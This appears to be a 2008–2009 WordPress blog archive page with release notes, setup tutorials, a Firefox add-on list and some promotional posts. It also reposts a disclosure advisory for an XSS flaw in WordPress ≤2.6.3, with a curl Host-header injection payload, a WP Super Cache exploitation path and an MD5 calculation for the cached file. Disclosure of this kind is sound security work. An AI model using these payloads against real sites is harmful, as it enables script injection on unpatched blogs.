WordPress 2.8 Baker

June 11th, 2009

WordPress officially released the new version of stand-alone blog software. WordPress 2.8 is name Baker and fixed over 790 bugs. Below is a small video about the latest WordPress release.

Highlights

  • New drag-and-drop widgets admin interface and new widgets API
  • Syntax highlighting and function lookup built into plugin and theme editors
  • Browse the theme directory and install themes from the admin
  • Allow the dashboard widgets to be arranged in up to four columns
  • Allow configuring the number of items to show on management pages with an option in Screen Options
  • Support timezones and automatic daylight savings time adjustment
  • Support IIS 7.0 URL Rewrite Module
  • Faster loading of admin pages via script compression and concatenation

New Features

User Features

  • New Theme Installer routines
  • Add CodePress syntax highlighting to Theme and Plugin editors
  • Add Documentation(function) lookup to Theme and Plugin editors
  • Use “Custom Header” for menu text and revise Default theme to reflect change
  • Separate Comments into a separate postbox, from Discussion postbox, on the Edit Post screen
  • Make tags accessible without Javascript on the edit screen
  • Don’t ask for confirmation when marking a comment as spam
  • Don’t notify post author of own comments
  • Fix comment paging for static front page
  • Allow the dashboard widgets to be arranged in up to four columns as set via the Screen Options tab
  • Make titles into links in Dashboard Right Now module (this was in 2.7.1)
  • Improved Admin icons (grey-to-transparent shadows)
  • Update Blue Admin Color Scheme
  • Press This improvements UI, quoting fixes, plus ability for Contributors to use Press This
  • Add a Cancel Upload button and a Delete link to Administration > Media > Add New
  • Add column “Rating” in Administration > Links > Edit
  • Improve installer to help people entering wrong email addresses
  • Improved Widget user interface
  • Allow editing of all plugin files (Ticket 6732)
  • Improved Plugin search (this was in 2.7.1) on Administration > Plugins > Add New
  • Per Page option for plugins
  • Move “Install a plugin in .zip format” to new Upload tab under Administration > Plugins > Add New
  • Show absolute date instead of relative date for scheduled posts
  • Fix tags suggest for post quick edit and bulk edit
  • Permalink editor changes and fix for pages
  • Autosave post/page when pressing Control/Command+S
  • Add toggle all button to the Gallery tab in the uploader
  • Support more than one gallery on the same page
  • Add per page option to Screen Options for comments, posts, pages, media, categories, and tags
  • Overhaul of LiveJournal importer (also add define WP_IMPORTING)
  • Import category descriptions for Administration > Tools > Import > WordPress
  • Show Tools menu for all users so they can access Turbo
  • Check for new version when visiting Administration > Tools > Upgrade
  • In upgrade process, provide better explanation for database upgrade message
  • Fix most popular link category list
  • Add description field for Tags in Administration > Posts > Tags
  • WAI-ARIA landmark roles to added to WordPress Default theme
  • “Choose a city in the same timezone as you” for Timezone in Administration > Settings > General
  • Remove My Hacks option from Administration > Settings > Miscellaneous
  • Hide email addresses from low privilege users on Administration > Comments
  • Allow case-insensitive logins
  • Login and Registration pages noindex followed
  • Give login screen proper iPhone viewport
  • Enforce unique email addresses in Add/Edit users
  • Make user_nicenames unique during registration
  • Add “Send this password to the new user by email” option to Administration > Users > Add New
  • Don’t set user’s Website url to http:// in Administration > Users > Add New
  • Add password strength meter to Add User and Edit User
  • Hide things that need to be available to screen readers via offscreen positioning
  • Use invisible class for hiding labels and legends
  • Use a semantic class name for text targeted to screen readers

Development, Themes, Plugins

  • Improved database performance
  • Drop post_category column from wp_posts table, and link_category column from wp_links schemas
  • Fix delete statements to ensure data integrity when innodb and foreign keys are used
  • Enforce consistent ID types to allow for foreign keys to be defined between tables
  • Add Sticky to list of post states
  • Add a filter to the post states list
  • Introduction and widespread use of transient and related filters
  • Add filters so AIM, Yahoo, and Jabber IM labels, in user profile, can be changed
  • Add hook “after_db_upgrade”
  • Add hooks for the Users, Categories, Link Categories, Tags and Comments table columns
  • HTTP API updates and fixes
  • Add support for blocking all outbound HTTP requests
  • Updated List of HTTP status codes (Ticket 9297)
  • Use SimplePie for widget and dashboard feeds
  • Switch to pomo lib. Support gettext contexts. Deprecate long form functions
  • TinyMCE 3.2.4.1
  • Use Jcrop 0.9.8 for cropping
  • Update pclzip to 2.8
  • Update PHPMailer to 2.0.4
  • Update SWFUpload to 2.2.0.1
  • Improved performance for script loading
  • Improved archive and calendar queries
  • Cron spawning improvements
  • Timezone enhancements for PHP 5
  • Add WP_Widget class and move native widgets into WP_Widget
  • Allow other taxonomies (e.g. post categories) to be used with wp_tag_cloud (Changeset 10554)
  • Add echo argument to wp_tag_cloud()
  • Allow a plugin to control how many posts are displayed on edit pages
  • Add “style” and “html” arguments to wp_list_authors (Ticket 4420)
  • Add “exclude_tree” argument to wp_list_categories and make exclude behave like exclude_tree when hierarchical is specified–this was actually a 2.7.1 change (Ticket 8614)
  • New Template Tag, the_modified_author (Ticket 9154)
  • Enhanced support for custom taxonomies
  • Put page title before blog name in admin title (Ticket 9028)
  • Use https://api.wordpress.org/secret-key/1.1/ for the WordPress.org secret-key service
  • Various phpDoc updates
  • Refactor filters to avoid potential XSS attacks
  • XMLRPC improvements
  • Improved mysql2date coding
  • Make authentication more pluggable
  • Switch to using the ID when calling get_avatar internally to support caching plugins
  • Allow plugins to provide a canonical redirect_url even if WordPress does not provide its own
  • Drafts have post_date populated now, so look for a zeroed out post_date_gmt to determine non-scheduled nature
  • Fixes to query_posts (obey post_type, drop orderby=category, use group by for meta key queries, remove meta_value from selected fields)
  • New orderby=none parameter for use with query_posts
  • Allow a plugin to filter the classes applied in wp_list_pages()
  • Functions (get_adjacent_post_rel_link() and adjacent_post_rel_link()) to display relational links for adjacent posts in the head (Ticket 8703)
  • Add the sticky post grey background to the default theme
  • Proxy support
  • Let a plugin filter the expanded capabilities returned by map_meta_cap
  • Allow the update period to be filtered in RSS/RDF feeds
  • Store field types in wpdb object
  • Add tag description functions tag_description and term_description
  • Add page class to get_body_class()
  • Deprecate get_catname()
  • Use comments_open() and pings_open() in WordPress Default and Classic themes
  • Add wp_trim_excerpt() filter
  • Consolidate plugin/theme/core upgrade/install functions
  • Add page-id-x class to body for pages
  • Return empty list in wp_list_bookmarks() if requested bookmark category does not exist
  • Allow menu reordering via plugin
  • Add hook for updating user profile
  • Add redirect argument to wp_loginout
  • Add wp_lostpassword_url (Ticket 9932)
  • Add get_the_author_meta() and the_author_meta() functions
  • Deprecate the_author_ID, the_author_login, the_author_firstname, the_author_lastname, the_author_nickname, the_author_email, the_author_url, the_author_aim, the_author_yim, the_author_mns, the_author_description and all their “get_*()” functions. (The full list at wp-includes/deprecated.php)
  • Let plugins use screen layout columns
  • Add labels to titles and text inputs
  • Add hook for adding info to plugin update message
  • Don’t do core version check from front page loads
  • Allow a plugin to vary the comment cookie lifetime (or even remove the cookies altogether)
  • Allow plugin to replace just the default help while preserving the contextual help
  • New escaping naming convention Ticket 9650
  • Deprecate wp_specialchars() in favor of esc_html(). Encode quotes for esc_html() as in esc_attr(), to improve plugin security (ref. Development Updates)
  • Deprecate sanitize_url() and clean_url() in favor of esc_url_raw() and esc_url() (ref. Development Updates)
  • Add number/offset arguments to get_pages() (same parameters can be used for wp_list_pages()
  • Make login more pluggable
  • Add the_widget() function to output a generic widget anywhere in a template (Ticket 9701)
  • Allow plugins to override tz support enable/disable
  • Fix combining category and tag queries
  • Support IIS 7.0 URL Rewrite Module
  • Recognize Expression Web 2 as IIS
  • Allow multiple search form templates
  • Introduce sanitize_html_class() and use it to give categories, tags, users etc meaningful classnames where possible but fallback to the id if necessary (Ticket 8446)
  • Allow a different role to be set for users when they are created in a call to wp_insert_user()
  • Improve Filesystem method choice for ‘direct’; introduce FS_METHOD constant
  • Add a hook in print_footer_scripts as in print_head_scripts
  • Add a comment_moderation_headers filter
  • Move upload_dir filter to before directory is created, so plugins can have a better effect
  • Pass name to sidebar, footer, and header get actions
  • Upgrader improvements, including move curl to last position and fockopen to 2nd position due to higher compatibility
  • Updated Trac

Source: WordPress.org

Add Google Analytics to WordPress

June 1st, 2009

So much has changed in the way business is done and viewed of since the internet and numerous internet-based technologies were introduced. And a fact is that a lot of entrepreneurs and marketers are doing very well with the help of the internet, whether the business maybe online or an ordinary company having a website for customer attraction.

Marketing certainly plays a very vital role in operating a business and this is one business aspect that entrepreneurs cannot afford to ignore. Marketing a company’s products or services does not end with creating advertisements or creating a website. But this doesn’t mean you also stop with just the creation of the website and having it up live.

Operating a website provides a very good opportunity and gateway for entrepreneurs to monitor how their products or services appeal to the general public, most specifically people who visit their websites. It enables entrepreneurs to check and analyze everything that goes on in the website and use this information to come up with ideas to improve or generate solutions for weak points that they could point out. This is all made possible by website statistic options available online.

For this very specific purpose, Google Analytics would be the best choice for any website operator or owner. It is one of the most efficient and effective website statistics services available on the net. The best part is that it doesn’t cost a thing. It’s completely free. It allows you to monitor and track the activities on your website and analyze this information in order to find ways on how to increase traffic and gain more customers. You can check the number of visits by the day of the week, the time period, the page view, bounce rates, the sources of traffic, the location of visitors and a whole lot of valuable information.

First things first, you have to sign up with Google Analytics. Make sure to use a Google account. If you do not have one, sign up for one and use this information for Google Analytics. Then go to the Analytics page of Google and click on Access Analytics. If you already have an account, you will be redirected to your Overview page. If you do not have a website registered yet, you should create one. Make sure to provide all necessary details required for the registration especially the URL. This information will be necessary for the monitoring and tracking of the WordPress site you will be registering. After filling up the necessary information, click on yes after reading and agreeing to the Google Analytics Terms and Services.

This will then take you to your tracking code information, which you will need to copy and paste for reference purposes. There are two kinds of tracking codes provided:  urchin.js script which is used for older versions of WordPress and the new ga.js script which is used for the updated WordPress. Also take note of all the instructions available in the same page.

For an existing Google Analytics user, from the Overview page you can access your profile and copy your tracking code by going to the Action column of the profile and clicking Edit. At the top right of the ‘Main Website Profile Information’ box, click Check Status. You can view and copy your tracking code from here and view the Instructions for adding tracking to your WordPress.

Now you’ll have to download a zip file for the Google Analytics plugin. The plugin is set up to automatically ignore authors that are logged in, and track special events that may occur on your pages, including newsletter subscriptions and also allows you to easily add Google’s web tracking script to your site.

This could be downloaded through WordPress.org where all you’ll need is the Analytics Account Id which is embedded in the tracking code. You could also get this through a company called Semiologic.com which effectively manages WordPress. You can download it from there and once you check your plug-ins section, you can see that you have a Google Analytics option where you can paste the tracking code.

You’ve completed installing and encoding Google Analytics into your WordPress. Wait for 24 hours till you start seeing reports and other valuable information.

For a video instruction on Add Google Analytics to WordPress visit: http://www.TheCustomerCompass.com/add-google-analytics-to-wordpress/

Firefox Add-ons for Web Developers & Designers

April 27th, 2009

webdeveloperWeb Developer – Add a Web Developer toolbar of various web development tools with web developer extension. This extension add a toolbar with various web development tools like css, cookies, images, forms.

ietabIE Tab – Designers and developers can view their CSS projects on Internet Explorer using this extension.

firebugFireBug – A console for debugging JavaScript, HTML, and Ajax code snippets.

addoniconGreasemonkey – With this Firefox extension you can control any aspect of web page behavior by adding Javascript code to any webpage.

addoniconW3C Offline Page validator – The web developers nightmare – Validating. Offline Page Validator is a simple tool that will send your page to the W3C validator by simply clicking an option on the right click menu, works both online and offline.

palettegrabberPalette Grabber – Creates a color palette for Photoshop, Paint Shop Pro, GIMP, Flash, Fireworks, or OS X based on the current page.

fireftpFireFTP – FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.

colorzillaColorZilla – Advanced Eyedropper, ColorPicker, Page Zoomer and other colorful goodies. With ColorZilla you can get a color reading from any point in your browser, quickly adjust this color and paste it into another program. The built-in palette browser allows choosing colors from pre-defined color sets and saving the most used colors in custom palettes.

livehttpheadersLiveHTTPHeaders – View HTTP headers of a page and while browsing in real time.

addoniconJavaScript Debugger – A powerful JavaScript debugging environment for Mozilla based browsers.

addoniconMinimizeToTray – Minimizes Mozilla windows into the system tray. Also includes a right clickable tray icon menu to further load only the windows you want visible.

fasterfoxFasterFox – Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.

Moving Your WordPress Blog to a New Directory

February 24th, 2009
  1. Back up all the files from you old blog directory.
  2. Copy them to your new location.
  3. Go to the Settings General and change the location of the blog (‘WordPress address (URI):’ and ‘Blog address (URI):’).
  4. If you move wordpress from root directory to sub-directory(http://YOURBLOG.com/blog/), copy the index.php and .htaccess files from the WordPress directory into the root directory of your site (Blog address).
  5. Open your root directory’s index.php file in a text editor.
  6. If you moving to root directory change the line to: require(‘./wp-blog-header.php’); If your moving to another directory change the line to: require(‘./YOURDIRECTORY/wp-blog-header.php’); Your must using your directory name.
  7. If you’re using PermaLinks, make sure your .htaccess file is updated with any necessary changes (eg RewriteBase /blog/ and to RewriteBase / if your use root directory).
  8. Logout of the blog, and login at the new location.
  9. Delete the old directory.

How to enable Google Gears in WordPress 2.7

January 21st, 2009

Prior to 2.7 a “Turbo” button at the right top corner of the admin dashboard. Just click that and if you had Gears installed you were good to go. In WordPress 2.7 the “Turbo” button has been removed. To enable gears login to your Admin section and go to the Tools. Once there you have the ability to use Google Gears to make WordPress work in a “Turbo” mode.

How to enable Google Gears in WordPress 2.7

How to enable Google Gears in WordPress 2.7

New WordPress 2.7 Coltrane

December 11th, 2008

As a long time WordPress user, I am happy to see the release of version 2.7. Mark Jaquith, wrote in his blog:

Without a doubt, my favorite new feature is comment moderation keyboard shortcuts. It has bothered me for a long time that comment moderation was such a tedious chore. Keyboard shortcuts (and the new inline reply) make it significantly less of a chore.

The new customizable post screen is a close second. I love that I can completely hide away all of the stuff that I don’t use (by clicking the “Screen Options” tab), and keep tags and categories on the right, while increasing the size of my post content box.

The new Publish module on the post screen is a personal treasure of mine. I took point on that, with some excellent design guidance from Jane Wells. It moves the “Save Draft” and “Publish” buttons far apart (a common complaint was that their proximity lead to accidental premature publishing. The Preview button now shows you the most recent changes to your post… not just the last saved version. Additionally, you can preview changes on published posts without those changes being shown publicly (until you’re ready). The Visibility section is new, and contains the functionality of private posts, password-protected posts, and sticky posts. Future posting is a lot more clear now. When you edit the time stamp to point to a future date, the “Publish” button becomes “Schedule.” All these changes were made to make your Publish module function predictably, so that you’re never wondering what happens when you click something.

The new menu system is great. I operate it in folded mode, so that my content can really take center stage.

WordPress <= 2.6.3 XSS Vulnerability

December 3rd, 2008

Due to what we consider a critical and an exploitable vulnerability in the RSS subsystem in WordPress 2.6.3 and below, WordPress has released a fix, and moved to version 2.6.5. The links to the new version and other information are available after the jump, along with the Full Disclosure Vulnerability announcement from Jeremias Reith.

===== noXSS.org Security Advisory ======
Advisory: WordPress XSS vulnerability in RSS Feed Generator
Author: Jeremias Reith <redacted>
Published: 2008/11/25
Affected: WordPress < 2.6.5
Summary
=======

WordPress prior to v2.6.5 fails to sanitize the Host header variable correctly when generating RSS feeds and is therefore prune to XSS attacks.

Web Sites running in a name based virtual hosting setup are not affected as long as they are not the default virtual host.

Moreover we only found installations running on the Apache web server to be affected.

Vulnerability Details
=====================

The function self_link() in wp-includes/feed.php is used to generate absolute URLs for the <atom:link> tag in ATOM and RSS 2.0 feeds:

function self_link() {
echo ‘http’
. ( $_SERVER['https'] == ‘on’ ? ’s’ : ” ) . ‘://’
. $_SERVER['HTTP_HOST']
. wp_specialchars(stripslashes($

_SERVER['REQUEST_URI']), 1);
}

The function does not sanitize the HTTP_HOST variable in any way but WordPress replaces all $_SERVER variables with escaped ones in wp-settings.php:

$_SERVER = add_magic_quotes($_SERVER);
In almost all setups add_magic_quotes() runs
mysql_real_escape_string() over the elements and returns the modified array. Unfortunately this escaping method is not safe in markup context.
PoC
====

The Apache web server only disallows ‘/’, ‘\’ and ‘..’ within the host header. The header can therefore contain markup making the following PoC possible:

curl -H “Host: \”> <body onload=alert(String.fromCharCode(88,83,83))>” \

http://www.example.org/blog/feed

The given example request will return (without additional newlines):

– snip –

<atom:link href=”http://\”>

<body onload=alert(String.fromCharCode(88,83,83))>

/blog/feed” rel=”self” type=”application/rss+xml” />

– snip –

The embedded JavaScript will be executed in Firefox 3.0.4 due to the triggered switch to Quirks mode.

Exploit

=======

The following exploit is a semi-stored XSS attack and has been tested with the following setup:

- Apache 2.x with IP based virtual hosting

- WordPress 2.6.3 installed in /blog/

- WP Super Cache 0.84

- Firefox 3.0.4

WP Super Cache is a popular WordPress plugin that adds static filecaching to WordPress. It greatly increases performance and is often used. It saves generated pages in the wp-content/cache directory and adds mod_rewrite rules to serve cached pages statically.

Issuing a malicious request to a vulnerable WordPress installation will lead to a file containing the XSS to be generated and placed within the document root.

Request:

curl -H “Host: \”><body onload=alert(String.fromCharCode(88,83,83))>” \

http://www.example.org/blog/feed

Generated file:

http://example.org/blog/wp-content/cache/wp-cache-#md5sum#.html

Firefox will execute the embedded JavaScript even tough the feed is

XML because the file is served as text/html.

The only missing the step is the calculation cached file’s MD5 sum.

The following code generates the MD5 checksum:

php -r ‘echo md5(”\”><body onload=alert(String.fromCharCode(88,83,83))>”.

“/blog/feed”), “\n”;’

In the default setup the MD5 sum can be generated by concatenating the

contents of HTTP_HOST and REQUEST_URI resulting in

0d2ca4617758433a7864d57493be2c5b for the given example.

This file can be accessed until the cache expiration mechanism removes

it. The default expire time is 3600 seconds.

Vendor Response

===============

2008-11-17 Reported to vendor

2008-11-17 Initial response from vendor

2008-11-25 Release of version 2.6.5

Vote: WordPress 2.7: Project Icon

November 14th, 2008

Ready? Go and take the icon survey. Voting will remain open for 48 hours from the time of this post to allow people from all time zones a chance to participate before we close the survey and make a decision (since we’d like to include the new icons in Beta 3).

fegcd5n44b

What is a WordPress Blog and Should You Use WordPress?

November 2nd, 2008

If you are interested in blogging, you will eventually run across the name WordPress. WordPress is a very popular blogging application for many reasons, and the serious bloggers tend to go with WordPress. WordPress is powerful software not only because of the quality, but because of the ease of use. There are other blogging software applications out there, but bloggers will quickly recognize the power and benefits of using WordPress, and all of the features that come with it.

One outstanding benefit of using WordPress to create your blog is pinging. Pinging alerts the search engines every time you have placed new content on your blog. Pinging also notifies blog libraries. People use the blog libraries to direct them to the topics they want to read about. This drives traffic to your blog, and even better, it takes no time and effort on your part.

Another benefit of WordPress is you don’t have to be a blog designer to get a professional looking blog. There are hundreds of free great looking WordPress themes to fit any topic you want to pursue. Once you pick your theme, it’s advisable to get yourself a tutorial package to smoothly get your blog up and running, plus your tutorial package will save you countless hours, and a lot of frustration. After you get more familiar with WordPress, maintaining your blog will be fast and easy.

WordPress has a great plugin library that allows you to instantly add some amazing features such as image galleries, podcasting, statistics so you know how many people are visiting your site, and events calendars. The plug-ins will allow you to change the look and feel of your blog any time it suits you, and they can be installed in minutes.

These are just a few of the elements WordPress offers so you end up with a very attractive blog that is going to draw people to visit frequently and read the content that you have posted on your blog. WordPress is a powerful blogging environment that allows you the freedom to be as creative and as unique as you want to be.

If you want to make fast cash on the internet, visit us at: http://FastCashBlogging.com

WordPress 2.6.2 Snoopy Vulnerability

October 23rd, 2008

A vulnerability in the Snoopy library was announced today.  WordPress uses Snoopy to fetch the feeds shown in the Dashboard.   Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.  2.6.3 is available for download right now.  If you don’t want to download the whole release to get the security fix, you can download the following two files and copy them over your 2.6.2 installation.

  1. wp-includes/class-snoopy.php
  2. wp-includes/version.php